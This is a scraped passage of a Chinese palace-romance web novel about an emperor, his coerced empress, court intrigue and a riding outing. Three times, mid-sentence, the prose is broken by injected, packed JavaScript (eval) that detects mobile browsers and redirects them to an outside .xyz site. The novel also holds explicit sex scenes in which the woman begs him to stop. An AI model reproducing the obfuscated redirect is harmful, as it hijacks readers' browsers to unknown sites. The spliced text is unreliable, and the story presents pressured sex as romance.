元栩喉结滚了滚,手腕轻轻一带,莹润嫩白从锦被中滑出,直接贴上他健硕的躯体,娇香软玉撞个满怀。 暗夜无星,岳常安和锦云在门口昏昏欲睡之时,屋中忽地传出一声惊呼,接下来就是女子又娇又媚的哭声。 岳常安跟锦云对视了一眼,两手一拍,“干站着做什么,还不快去叫人煮药!” 锦云愣了一下才反应过来,她笑着拍了一下自己的脑袋,“瞧我这脑子,这就去,这就去……”说完便小跑着去寻人煮药。 唉呀,岳常安活动一把筋骨,仰头看了看夜空,估计一时半会不会有他的事了,可以回去睡个好觉先。 屋中云雨渐歇,沈若辞浑身脱了力气伏在元栩身上,眼眶哭得红红的,睫毛上还挂着一滴清泪。 元栩用唇去触碰她的长睫,吻去泪珠,他手臂收紧,两个人贴得更紧了。 沈若辞身子轻颤了颤,用哭哑了的声音央求道,“不要了……” 元栩一口咬住她嫣红的唇瓣,厮磨了一阵,才不满道,“这身子就这般不经用?” 沈若辞深知对方与自己力量上的悬殊,却没想到过他不仅体力好,还恢复得很快、很迅速。此时在他上边,能清晰地感觉到那罪魁祸首又再次抬头,似乎想要卷土重来。 沈若辞累得什么话也说不出来了,一双雾蒙蒙的杏眸楚楚可怜地望着他,只希望他不要再来一次。 烛光落在她娇艳的脸庞,情.事过后,眉眼都染上春意,媚-态横生,元栩哪里受得住她这副样子,一时气血上头,差点又要把-持不住。 他从床上起来,扔了一张薄被到她身上,“黏黏糊糊的,皇后想,朕都不要。” 他倒是先嫌弃起人来了。 沈若辞心道也不知道是谁弄的,她身上那套衣裳早被揉得皱成一团,扔在一边,后来又被他弄脏了,根本穿不了。 她裹着被子,想等皇帝离开,她好叫锦云送件衣裳进来。哪知他简单清理了一下,就用被子将她人裹紧了,直接抱到了浴房。 一进浴房,浓浓药味扑面而来,沈若辞皱了皱眉头,打着商量的语气,“皇上,臣妾用清水洗洗就好了……” 元栩直接把人抱进了浴桶,“不成,要跟朕一起洗。” 浴间水雾弥漫,沈若辞趴在浴桶的边缘,额头冒出细细的汗珠,面色潮-红,指尖几近陷入木质的桶沿。 “皇上……要好、好了吗?” 她咬着唇,话说得断断续续,几乎被耳边的水声覆盖。 “别催。”他第一次伺候人,可没什么经验。往常自己沐浴,元栩不喜下人伺候,基本都是自己亲力亲为。清洗自己是轻车熟路,可伺候别人就又是另一回事了,况且被洗的还是个肤白貌美的女子。 洁白的布巾沾了药水,从她的颈项、后背一路往下,直到如山脉般蜿蜒耸起的,宛若成熟蜜-桃的臀部。元栩手上的动作忽地停下来,不悦道,“为何塌着腰?” 沈若辞不解,茫然地回头看他。 经过热水的蒸腾,她的脸被水气洇湿,连带眸子也湿漉漉的,“腰、怎么了?” 元栩呼吸骤然一紧,偏生她毫无自觉,偏着头等他回答。他一眼也看不得,咬着牙命令道,“不准看朕,转回去,闭嘴!” 沈若辞知道皇帝看不顺她,无论自己做什么说什么,只会引起他的不满,她依言默默地回过头去,只在心里企求他能早点结束。 可惜沈若辞并没有如愿,这场事后的清洗持续了小半个时辰,中途还加了两次热水。她的脸被药水蒸腾成樱粉,早先被皇帝连着折腾了两次,浑身绵-软无力,很快便撑不住睡着了。 元栩将人抱着出了浴房,放在火红的锦被上时,她已经一根手指头也不想动了。 二人折腾了大半夜,睡下的时候窗纸已微微泛白。打小时候起,元栩就习惯了一个人,这些年来做什么事都是一个人,一个人用膳,一个人入睡,一个人起床。可如今一觉醒来,感觉怀中抱着个人,这让他神色微微一变,手掌下意识上下摸索,竟是光滑如丝绸般的躯-体,他呼吸一窒,上手扒下锦被。 几缕细碎的发丝交叉覆在前额,小人儿脸颊莹白如玉,睡得正香甜。元栩思绪逐渐清醒,几乎是如释重负般地躺回床上,手上使劲,不由自主地搂紧那人。 躺到一半,仍觉得不够,又在她耳边低低唤了一声什么,才满足地躺回去。 头一沾枕头,就听到外边传来岳常安细小的声音,“皇上还没起吗?” 锦云压低声音回道,“没呢岳公公,您这都问几回了。” 岳常安声音听起来有些许烦躁,“这不是有贵人在等着嘛!” 元栩是习武之人,耳力极好,这些话都进了他的耳里。他垂眸看着沈若辞,片刻之后还是决定起身穿衣。 寝殿大门被打开,元栩从屋中走出来,岳常安等人正要跪拜,就被他伸手阻止。 “大清早的,何事?”他伸了个懒腰,边走边问。 岳常安抬眼望了望天空,一道白光刺得他眼睛眯了眯,这哪里是早晨呦,晌午都快过咯。 他紧跟皇帝的步伐,“皇上,容王殿下求见。” “他?” 岳常安本来低着头跟在皇帝身后,可这时他突然停了下来,在原地停顿了一会,才举步朝寝殿走去。 岳常安心想,容王殿下上一次来皇城也是两年前的事了,皇上有些许惊讶也是情理之中的事情。 元栩回寝殿梳洗一番,换了身衣裳,又吃了些东西,姗姗来迟地出现在茶园里。 容王殿下性子随和不羁,做事向来随心所欲,想一出是一出,想法行为自然与普通人不一样。就像现在,他觉得茶园里茶花开得正绚烂,与其在沉闷的宫殿里面面相觑,还不如来这茶园赏花品酒。 元栩站在凉亭外边,皱起眉头远远地看了他一眼,似乎有些不悦。不过也只是一眼,复又举步往凉亭里过去。 那等了大半个时辰的人,此时正闲坐在亭中赏花,手中不紧不慢地摇着折扇,一身青衣似水,见元栩绷着脸靠近,含着笑跟他打招呼,“皇弟。” 元栩对他这声亲切的招呼嗤之以鼻,不悦道,“你来做什么?” 元琛毫不见外,他一早便让宫人端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492853|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来酒杯酒瓶,径自倒起酒来。 清冽的酒水自瓶中流出,很快填满白玉瓷杯。他递出一杯给元栩,“尝尝看,为兄亲手栽种,亲手酿造的梅子酒。” 元栩面上嫌弃,手掌却不由自主地接过酒杯。酒香混合着梅子香,清醇诱人。 他端着杯子把玩许久,却始终不肯喝上一口,“请你喝喜酒不来,现在不欢迎你来了,倒又自己送上门来。” 元琛不以为意,将杯中的酒一饮而尽,又慢条斯理地替自己斟上一杯,才缓缓开口,“这亲又不是你真心想成的,人也不是你真心想娶的,喝你那杯喜酒有什么意思?” 元栩没有反驳,只笑了一声,“你又知道?” 元琛一副了然于胸的模样,“这几年我在皇城的时间虽不多,但凡事都有耳闻,你跟沈相的关系剑拔弩张,这一点不至于不知道——” 还有一点元琛没有说出来,他与那民间女子的事,他也知道不少。 元栩简明扼要地打断他,“朕娶的人又不是沈相。” 沈相对小皇帝痛心疾首,恨铁不成钢的模样,就知道他肯定不会将女儿推入火坑,喜结连理的佳话肯定是不存在,唯一的可能只有强娶。 但这些也只是他的猜测,如今元栩毕竟长大了,又是掌权的帝王,做什么事都有自己的权衡,他没有操心的道理。 元琛不是操心的性子,他不喜欢烦恼的事情,“快喝酒吧,懒得同你胡扯。” 他端起酒杯,目光状似不经意地落在元栩身上。这几年,他身上的气质越来越沉稳,颇有帝王风范。先帝驾崩那年,他还是个孩子,哭哭啼啼地坐上皇位。一路走来,前有狼后有虎,风风雨雨,着实不易,好在如今一切都渐入佳境,他这个做哥哥的也能安心一点了。 元栩被他的目光看得不自在,轻咳一声,“咳……四哥到底因何事回来?” 元琛抽回思绪,跟他讲起来缘故,“此番边疆大捷,番邦元气大伤,短期内再无反扑的可能,眼下九皇叔已携众将领回皇城休整,四哥我也趁机来感受一下大家的喜气。” 元栩听他说话前言不搭后语,就知事情绝不是表面说的这么简单,“四哥不是一贯嫌九皇叔为人刻板顽固,以往一见他人就远远避开了,省得被他念叨个不停,怎地此番山长水远地跑回来,就图见他老人家一面,是觉得让他骂一顿才酣畅淋漓?” 这几句话将元易说得心底里一片灰暗。 九皇叔是什么样的人,他最清楚不过。他幼时好学聪慧,在皇家子弟中极为突出。偏年纪渐长,开始无心政途,只想做个闲散王爷四处游山玩水,从小看好他的九皇叔最为痛心疾首,也最看不惯这种“不争气”的晚辈,每回见他都要耳提面命地训斥一番,那程度丝毫不逊于沈相对小皇帝的屡屡劝谏。所以若非万不得已,他绝不会与九皇叔正面交锋,可惜事与愿违,日后要与这顽固老头打交道的事还多着。 好在他一早做好心里准备了,强行挤出几分笑意,“哪能,九皇叔是我们大魏的功臣,我崇敬他都来不及。作为晚辈被他念叨几句也是再正常不过的事,过几日接风宴记得捎上我。” 39. 第 39 章 元栩只当他是说笑,细细地品尝起杯中的青梅酒。 沈若辞睡到午后才醒,昨夜累坏了,醒来后浑身哪哪都觉得酸软,好在精神不错,食欲也有增无减。 皇帝昨夜虽没有下狠手,不似初次那般横冲直撞,却也让她吃了不少苦头。沈若辞揉了揉酸软的腰肢,正想着父亲不知道在家里做什么,锦云就来禀报薛雪媚几人前来请安。 午后的阳光透过雕花窗棂,在地面洒下破碎的光影。沈若辞心道这个时辰请的什么安,日头都出来大半天了。可她并没有让人回去,毕竟她不是正经的皇后,这些妃子都是皇帝的女人,恐怕得罪不起。 她换了套衣裳,就过去听人聊天。刚进门几个妃子就齐刷刷给她请安,沈若辞笑着应下了。 众人坐定后,目光都不约而同地落在她脸上。一早听说皇帝昨夜留宿雪辉宫,她们都嫉妒得咬牙切齿,恨不得插上翅膀立即飞过来瞧瞧。可此时见了人,发现她脸色微白,眼下泛着浅浅的乌青,明显情绪不高,丝毫没有得宠后的春风得意,私下便都暗暗叫好。 看来也没有受宠,白瞎了这样一副好样貌!薛雪媚笑得得意,丝毫不掩饰她心中的嘲讽。 相比之下,连亦兰则笑得含蓄多了,她们这些先入宫的都没得宠,哪里轮到一个罪臣之女。 才刚坐定,宫女端了避子药药上来,“娘娘,喝药了。” 沈若辞端起碗小小抿了一口,药已经温温的,可以一口气咽下去了。 连亦兰盯着药碗问道,“皇后娘娘喝的什么药啊?” 沈若辞放下碗,拿起帕子擦了擦嘴,“没什么。”她顿了顿,不知道皇帝是否乐意让人知道她在喝避子药,又补充道,“一点温补的药物。” 说完立马又觉得自己欲盖弥彰了。 连亦兰同薛雪媚交换了一下眼色,似乎都心照不宣地知道她的什么药,没有再追问下去。 沈若辞见她二人都笑得奇奇怪怪,也不说话,便扯了个话题,“怎么不见淑妃?” “她呀,最近正得圣宠,没空来。”薛雪媚拿眼瞧了瞧连亦兰,二人相视一笑。 二人只笑不语,沈若辞不知道后宫里的曲曲折折,也没什么话好接,就只“嗯”了一声。 薛雪媚见她神色淡淡,甚至有些落寞,心里挺来劲,她从身旁绿衣宫女手上接过点心,一边摆弄上桌,一边状似不经意地说道,“自古帝王后宫佳丽三千,雨露均沾是再正常不过的事了,咱呀,还是别管太宽,吃点点心,说说笑才好呢。” 沈若辞本以为薛雪媚是个恃宠而骄的,没想到看得这么开。也是啊,这后宫女人多,日后会更多,计较多了便是给自己添堵。她顺手拿起糕点尝了一口,软糯香甜,有清新的果香,也不甜得鼾,配上刚刚沏好的碧螺春,简直是绝配。 薛雪媚事事都要展现出优越感,“做糕点的人是本宫从娘家带来的,宫里的厨子未必有这手艺。” 话说完,又朝四周环视了一圈,惊讶道,“皇后娘娘没有从家中带伺候的人过来吗?” 沈若辞不疑有他,如实答道,“阿茉还在尚宫局学习规矩,不知道多久才能回到本宫身边。” 宫里至今还没听说过,妃子陪嫁的贴身丫鬟,要去尚宫局学习规矩的,这样的话一听,就明白可能是皇帝故意刁难。 连亦兰放下糕点,似笑非笑道,“这事啊……娘娘还是亲口问皇上的好!” 薛雪媚顺着她的话附和道,“连妹妹说的对,要亲口问皇上,吹吹枕边风更好,没准皇上一开心就把人放出来了。” 她恨不得这蠢女人去触皇帝的逆鳞,才有好戏看呢。 沈若辞没想到元栩会吃这一套,想必这些妃子平日里没少做这事,她想阿茉出来,却也不想去奉承他,实在是左右为难。 况且,皇帝又不喜欢她,吹了枕边风恐怕也办不成事情。 连亦兰见她面露难色,心道这沈若辞还是惧怕皇帝的,恩宠不存在,自然吹不了枕边风。 几人闲坐了两刻钟,见沈若辞没有受宠的迹象,便也安心下来,不一会儿就借口离去。 暮色四合,华灯初上。 沈若辞用过晚膳后,便坐在庭院中的长廊里。大婚当夜被皇帝踢坏盆子的牡丹花,重新换了个红陶浮雕花盆,花仍开得好好的,娇艳欲滴。 纤纤玉手拨弄了一下花朵,软绵绵的,不似山茶花顽强。她拂了拂坐皱的裙摆,从长椅上起来,晚风吹得她手脚冰凉,需要洗个热水浴才好。 宫女一早备好了热水,就等着新皇后入浴。她们这些人都经过专业训练,雪辉宫里的大小事务,一概不准传出去半点风声,否则格杀勿论。 起初她们以为圣上要借机惩治沈家女,可经过了昨夜,这种想法却完全动摇了。大半夜里,寝殿里都是新皇后娇娇的低吟和柔弱的哭声,听得人心尖儿乱颤。 此时服侍她入浴,待衣衫解尽,雪峰绵软,腰肢纤细,雪肌上点点红痕让人浮想联翩。这模样哪里是受了折辱的样子,分明是……恩宠。 宫女红着脸将人扶进浴桶,手上握着绵帕正不知从何下手,还好连嬷嬷及时出现,从她们手中接过帕子。 水声渐起,沈若辞下巴搁在桶沿上,由着连嬷嬷给她擦背。 连嬷嬷见她发着呆,又想起今日的事,开口道,“娘娘若是真的想阿茉,就应该亲口求求皇上。”而不是去问不想干的人。 她闻言回过头来,双眸在水雾中亮闪闪的,“皇上会答应吗?” 连嬷嬷心头一软,“娘娘乖巧可人,有谁忍心拒绝呢。” 沈若辞摇摇头,她的确很少被人拒绝。可皇帝这人不一样,他恶劣得很,处处要为难她,恐怕不会答应。 连嬷嬷弯了弯唇,“娘娘不妨一试。” 沐浴过后,连嬷嬷拿了一身寝衣过来,沈若辞偷偷瞄了一眼,松了一口气,还好是普通的衣裳,不像昨夜穿上身那般……不要脸。 昨夜寝殿里的动静持续了大半宿,连嬷嬷心中便起了悔意,皇帝年轻气盛,皇后娇美无双,哪里需要她瞎操心。若是再给她这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501329|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞎折腾下去,恐怕到时候早朝都不用上了。她可不想做这个罪人,还是规规矩矩的地给人穿好衣裳的好。 沈若辞这回可以大大方方地从浴房里出来,她思忖着皇帝今夜是否还会再来。按岳常安的说法,要同床共枕三夜,可第一夜就没有实现了,证明他也不是很在乎,没准今夜也不会来了。 可当她一脚踏入房中,昨夜那位把她往死折腾的男人,正坐在她的床头,翻看着书册。平日里束得整整齐齐的乌发,此时尽数散下来垂至身后。他的背靠着软枕,一双长腿随意地一屈一伸,整个人明明一副慵懒随意的样子,身体的线条依然流畅优美。 沈若辞不得不承认,这人长得是好看的,若是个普通人,嫁与他,也算是件赏心悦目的事情。可一想到这人的身份,他的所作所为,这外貌给人的好感,就半分不存了,她极不情愿地往前走了几步,“臣妾参见皇上。” 听到声响,元栩抬起头来,没看她一眼,指了指案上的衣裳,“换上。” 沈若辞心中忍不住“咯噔”一下,依言过去,才发现是自己想多了,是一身崭新的骑装。 可是这大半夜的,穿骑装做什么? 沈若辞望了望床上的人,他方才扔出两个字后,又埋头看书,根本没解释的意思,她只好去屏风后边换衣裳。 衣裳换好后,她倒是小小的惊喜了一下。这身骑装用料极佳不说,腰身也剪裁得当,细腰掐得像柳枝儿一样纤柔,一双玉腿匀称修长,配上鹿皮短靴,整个人轻盈活力。 沈若辞拿起马鞭,扬手甩了一下,仿佛此刻便是在郊野策马游玩,不自觉地笑出声来。 元栩曾见过她骑马,却没有见过她穿着骑装的模样。所以当沈若辞穿戴完毕,手握马鞭冲他盈盈一笑时,他的呼吸陡然停顿了一瞬。 那时候,他满眼都是那个清丽秀气的女子,看不上沈若辞这副模样,太过妖冶明艳,甚至一度觉得这面貌碍眼得很,虽与他心里的那个人相似,有着相似的神态,面貌却大相径庭。 显然,这张脸要漂亮上很多。元栩不否认自己也有过瞎了眼的时候,手中的书册不知道何时被扔到了一旁,他的注意力都在沈若辞身上,没忍住又多看了几眼。 沈若辞被他看得浑身不自在,这人只看不说,她忐忑地询问,“要不,脱下来?”没准这是他给哪个妃子做的,拉她来试穿一下。 话刚说完,那人依旧没有动静,沈若辞却从他眼中看到别样的深意,她后知后觉地回忆起方才脱口而出的话,在对上他的眼睛,那眼神就像在说“脱啊”。 她的脸刷的一下红了起来,无端想起昨夜,他用嘴一点一点地除去她身上最后的屏障,动作不快不慢,始终温温和和。如此不要脸的事,他也能做得慢条斯理,好似在完成一件风雅的事情,沈若辞却在他唇齿的厮磨下,被扯进一场风雨。 元栩见那笑得明媚的女子,双颊忽地泛起淡粉,手足也无措起来,如同昨夜在锦褥上完全绽放那般引人采撷。 “脱。”他揉了揉额角,不耐道。 40. 第 40 章 她如释重负,几乎是小跑着回到了屏风后。换完衣服回来的时候,皇帝已经在她的床上躺下,她往门口望了望,迟疑一会儿还是轻手轻脚地向床边走过去。 今夜他睡在外边,她只能从床尾爬过去,爬到床的内侧,然后安静地躺好。 可能身边突然多个人,沈若辞并没有睡着,她想起白天连亦兰她们和连嬷嬷说过的话,想知道阿茉何时能回来,要亲口问皇帝。她想,问问也无妨。 于是,她试着开口,“皇上?” 也不知道他睡了没,眼皮轻轻地垂着,睫毛过分长,像小刷子一样覆盖着眼帘,看起来比她的还要卷翘。 沈若辞耐心等待他的回答,等了小半会儿,那人一根睫毛也没动一下,她有点失落地躺回去,已经做好了那人已经睡着,她没机会开口的准备。才躺到一半,脑袋还没沾上枕头,那头传来不大不小的一声“嗯”。 沈若辞被这意料之外的回应打乱了思绪,一时怔愣,她在怀疑是不是自己听错了。 “何事?” 那头稍显不耐地问了一声。 她原来没有听错,这人真的醒着,沈若辞心中一喜,翻了个身趴在床上,抬着头小心翼翼地问,“皇上,阿茉何时能回到臣妾身边?” 她偏着头,极有耐心地等他回答。 皇帝依然一动不动,眼皮子也没抬一下,似乎不是很高兴她问出这个问题。 沈若辞一直觉得阿茉不过是个弱女子,留在她身边对他造不成任何威胁,他不至于连这点小事都要为难。 元栩忽地掀开眼皮,向她投去一道目光,而后缓缓开口,“阿茉这个名字太难叫了,朕叫着不顺口。” 沈若辞张了张嘴,竟然想不出话来回答,只是一脸错愕的看向他。 这是什么理由?难叫你大可以不叫啊。 元栩眼神淡淡的,她身边那个丫鬟,被她惯出性子来,不懂规矩不说,还容易冲动,这样的人压根儿不适合留她在身边。 沈若辞不放心阿茉一个人,她吸了吸鼻子,“那皇上打算如何处置阿茉?” 元栩皱眉看她,“是锦云她们伺候得不尽心?”才总是念着那丫鬟。 沈若辞怕牵连无辜的人,忙澄清道,“不是的,她们做得很好,都很用心。” 她一急,眼神便似化成一汪活水,微波粼粼,又有几分说不清道不明的楚楚可怜,仿佛被人冤枉到了,竟连眼尾也生出一抹薄红。 元栩想起昨夜,她也是这般无措,用央求的眼神望着他,被他作弄狠了,才气若游丝哭诉出来,“缓一缓,缓一缓……” 那声音恍若就在耳边,他的喉结情不自禁地滚动了一下,接下来便无情地截了她的话,“睡吧,很晚了。” 沈若辞话到嘴边,也不敢再追问下去,只好收嘴噤声。 隔天早晨,沈若辞醒来的时候,皇帝已经走了,只有身旁微微凹陷的被褥,还有淡淡草药香气暗示着那人昨夜睡过。 大婚休沐三日之后,元栩一早便去上早朝。 立后一事,几乎是快敲快落,众人知道的时候就已经是结果,所以今日众臣子一会面,各种言论甚嚣尘上,甚至有些人对皇后之位花落相府颇有微词。 沈相作为最直接的当事人,本该是全场议论的焦点,却告病在家休养,并未出现在今日早朝。 所以,平日里看不惯的沈相的大臣,弹劾起他来毫无压力。 袁国公第一个站出来,“皇上,沈相叛国一事尚未有结果,沈相逍遥法外,沈家女入主后宫,以臣愚见,恐有不妥。” 元栩早料到这帮臣子里肯定有人不会让他太好过,必然会提及此事,他早已想好应对的措辞。 “沈相一事,大理寺已彻查多日,并未找到任何叛国的罪证。国公爷如此信誓旦旦,莫非是有了新证据?叛国一事事关重大,如若掌握了线索,务必赶紧上报,切勿做包庇徇私之事。” 如此公正严明,袁国公竟一时语塞。 连骁也横插一脚,“沈相效忠我朝二十年,这二十年所做出的功绩,想必在座各位都有目共睹,叛国一事既无证据,那就不能活受这个罪名。但据臣所知,沈家女并不愿入宫,沈相也无意与皇家结亲,还请皇上遵从沈家人的意愿,莫要强人所难。” 沈相进宫讨要女儿一事,他早已知晓。起初连骁对沈若辞并没有执念,不过是见她貌美娇弱,家世又与他相当,便萌生了保护她、主宰她的念头。可本来他势在必得的小白兔,有一天突然多了势力相当的猎手,迅速并且准确地将其收入笼中,丝毫没有预兆,他的小白兔便成为别人的囊中之物。 那时候连骁才幡然醒悟,悔意顿生。早知如此,就该早早将她困于后宅,不至于要她成为棋子遭人利用。 “连将军是非分明,这点值得嘉赏。”元栩脸上还挂着微笑,但此时嘴边的笑意渐渐淡下去,眼神也晦暗不明起来,他盯着连骁看,不咸不淡继续说道,“朕的家务事,不劳舅舅操心。” 连骁干涉过他后宫的事,就是从来没这么上心过。他现在只要一闲下来,满脑子都是她杏眸湿润,眼尾泛着潮红,楚楚可怜的模样,仿佛在控诉他的不作为。 他咬紧牙关,忍下心头燥意,意图再次开口。这时候,皇帝却将目光落到薛展松身上。 “薛老将军有何见解?” 薛展松是薛太后的兄长,打过多场胜战,也曾风光无限。可惜天有不测风云,两年前独子战死沙场,他一夜之间白了头发,身体状况更是每况愈下。所幸独子成婚早,给他留下两个孙子,也不至于生无可恋,但也从战场上退下来。这些年,这些事,磨平了他原本刚直强势的性子,“老臣愚见,有罪重罚,无罪释放。叛国一事非同小可,可适当再采取一些措施。” 元栩知道薛展松的意思是要他继续盯紧沈相,切不可因目前没有叛国的证据,便对沈相放松警惕。 薛展松也无需说得太明白,毕竟皇帝比他更明白,能将沈家女纳入后宫,便是最好的证明。 元栩点头表示赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505035|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同,“还有一事,安都贪墨一案已查清,罪魁祸首的丁太守关押入狱,据他交代,所有贪污的钱财都流入了虞城。” 元栩特意加重了“虞城”二字,在场的人目光不由自主地落在一处,薛展松脸色微微一变。 虞城,正是元赫的封地。薛展松作为元赫的亲舅舅,多多少少牵扯其中。倘若他真的清白,也起到敲山震虎的作用。 元赫跟薛太后一直都很不安分,奈何没有做出什么出格的事情来,元栩也就睁一只眼闭一只眼,毕竟那人是他同父异母的亲弟弟。 手足相残,是最骇人听闻的,不到万不得已,他不愿意做出这种选择。 另一方面,元栩心里异常清楚,若有朝一日,元赫不念兄弟情义,势要与他作对,他断然也不会心慈手软。 身在皇家,最忌讳的事情之一,便是妇人之仁。 元栩下了早朝,便开始处理前几天堆积下来的奏折。小山一般的奏折被处理了大半,他从中抬头,揉了发涨的眉心,眯着眼睛缓解一下疲劳。 昨晚沈若辞小心翼翼地求他,想要那丫鬟回自己身边伺候,他不做考虑直接拒绝了。夜里她睡得不舒服,梦里都喊着丫鬟的名字,元栩缓缓睁开眼睛。 “常安。” 岳常安弯着腰身奉上刚泡的茶水,“皇上。” 元栩目光越过茶盏,望向他的人,“相府那丫鬟规矩学得怎么样了?” 岳常安手上动作一顿,半晌才想起皇帝指的是沈若辞带进宫来的阿茉,轻轻地放下茶盏,“阿茉姑娘学得挺好,不日便可以回娘娘身边。” 元栩沉思了一下,“明日开始,让她白天学规矩,夜里去雪辉宫里伺候。” 岳常安忙应下。 等批完奏折,元栩就前往雪辉宫用午膳。 早些时候岳常安就派人来雪辉宫里传话,皇上中午要跟皇后娘娘一起用膳。 由于这是帝后大婚后,皇上头一回过来用膳,众人都下足了功夫用心做好午膳的准备的工作。 沈若辞虽不熟悉宫里用膳的规矩,但是饭桌上的礼仪她还是熟稔于心的,是以皇帝没有入座之前,她也不敢先行上桌,只是在软榻上坐着等他。 好不容易等来了皇帝,原本安静的殿内又热闹起来,端饭的,上菜的,拉椅子的,大家又开始忙忙碌碌。 沈若辞朝元栩行礼之后,便转过身看向主座,“皇上请入座。” 元栩点点头,朝饭桌走过去。 早饭吃得少,沈若辞有些饿了,跟在元栩身后准备入座,却见他走到自己的座位前便停下来,而后撩起后摆毫无自觉地坐下去。 那可是她的椅子! 沈若辞动了动嘴唇,最终踌躇着站在原地举步不前。 元栩见她站着不动,一个眼风扫过来,“怎么,还不入座?” 在大魏,只要跟皇帝一起用膳的,就没人敢越过他去坐主座。 沈若辞认真地提醒道,“皇上,您坐的是臣妾的位置,您该坐……” 41. 第 41 章 她话还没说完,元栩就笑了,“这座位朕先坐了,就是朕的,沿沿慢了,就只能坐剩下的这个。” 他给了主座一个眼神,示意沈若辞入座,沈若辞心想果然是无赖,不守规矩,还要与她作对。 “快点,朕饿了。”他催促道。 沈若辞只好走到主座坐下来,就算普通小户人家,也是极看重用膳座次,不轻易破坏规矩。他倒好,让她做这个坏人。 难怪阿爹总是说他行事恣意妄为,她又不得的感慨,这个评价没半点毛病。 皇帝丝毫没有做恶人的自觉,催促道,“快点吃,吃多点,下午带沿沿去马场骑马。” 骑马?沈若辞眨了眨眼睛,明知她身子不好还要带她去骑马,是嫌她活得太久了吗? 元栩仿佛看穿她的心思一般,“不准拒绝,吃完就去把骑装换上。” 说起骑装,沈若辞觉得,怎么听起来更像是蓄谋已久的。 “皇上您可能有所不知……”沈若辞夹起一块乳鸽放到元栩碗中,小心翼翼继续说道,“臣妾的阿爹,只有一个女儿,便是臣妾,若臣妾有个三长两短,阿爹恐怕会做傻事……” 元栩纠正道,“沿沿还说漏了一点,你阿爹只有一个女儿,朕也只有一个皇后。” 沈若辞可怜兮兮地望着他,元栩也只是说,“朕不会让国丈做傻事的。” 午后,沈若辞还是跟着元栩来了马场。 马倌牵来一匹毛色纯黑,油光发亮的健硕黑马。元栩伸手指了指马,语气温和道,“这是朕的黑马,从小养大的。” 沈若辞也不知道说什么,只是远远地看着它纯黑的毛色,随口一问,“这马有名字吗?” 她知道专属的坐骑一般都会有属于它的称号,以彰显主人的喜爱。 元栩点头,“有。” 沈若辞接着问道,“起的什么名字?” 他微笑着看向举起马蹄嘶鸣的暴躁黑马,淡淡道,“小蝴蝶。” 吃人的蝴蝶都不敢长这样子。 沈若辞心里在冷笑。下一秒,她就见皇帝招招手,冲那黑马叫了一声,“小蝴蝶,过来。” 那不服管教的黑马便挣脱马倌的束缚,一路欢快地跑过来。 沈若辞,“……” 她想起出门前连嬷嬷的告诫,忙后退了几步,躲到皇帝身后。 黑马在元栩跟前停了下来,鼻子里发出“哼哼”的声音,元栩抬手抚了抚它干净黑亮的毛发,“小蝴蝶又不听话了,是不是?” 黑马似乎听出了责备,昂起头又嘶鸣了一声,它将头撇到一旁,刚好看到元栩身后的沈若辞。沈若辞被它黑溜溜的眼睛看得心慌,她从箩筐里挑出最新鲜的萝卜,小心翼翼递到黑马嘴边,“小……蝴蝶,吃萝卜。” 黑马一口咬住萝卜,吭哧吭哧嚼了几下尽数吞进肚子里,几乎是没有迟疑,它突然将头凑过去,蹭了蹭她的肩膀。 沈若辞感觉它在对自己示好,但她也怕这黑马要失控踢人,她始终躲着它,不敢靠近,更不敢去摸它。 “小蝴蝶不会伤害你的。”元栩突然开口,他温柔地拍拍黑马的头,“它不会主动靠近不喜欢的人。” 沈若辞会骑马,也知道马的习性。他这样的说法是成立的,并不是无稽之谈,可凡事总有个意外,她比较惜命,不敢放松警惕。 元栩见她害怕,也没有勉强,叫马倌去牵一匹温顺的马儿来,他自己则翻身上马,修长笔直的大腿一夹马腹,催促它跑起来。 哪知向来听从命令的黑马此时不为所动,仍站在原地来回踱步,那双黑溜溜的眼儿一直盯着沈若辞看。 好一会儿沈若辞才发现它在看自己,疑惑地指了指自己问它,“小蝴蝶……在看我?” 黑马嘶鸣一声。 沈若辞朝它笑了笑,这时马倌刚好牵来一匹枣红马,恭恭敬敬地禀告,“娘娘,马儿牵过来了。” 沈若辞点点头走过去,踩着马凳翻上马背。这马果然是个温顺的性子,跑起来又快又稳,还听人号令。她由最初的小心翼翼,到后边胆子越来越大,独自骑着马绕了马场一大圈才回到原地。 那时元栩黑着脸坐在马背上,黑马悠悠闲闲的散着步,一副没出发过的样子。 沈若辞看了看□□喘着大气的马儿,再看看黑马气定神闲的模样,心道果然皇帝的御马果然是非同凡响,跑完后轻易不带喘。 她心疼马儿,从马上下来稍作休整。此时元栩骑在马上,修长有力的双腿夹紧马腹,窄腰健硕挺拔,身形谈得上极为漂亮强劲,沈若辞觉得日光有些耀眼,下意识将目光从他身上转移到黑马。 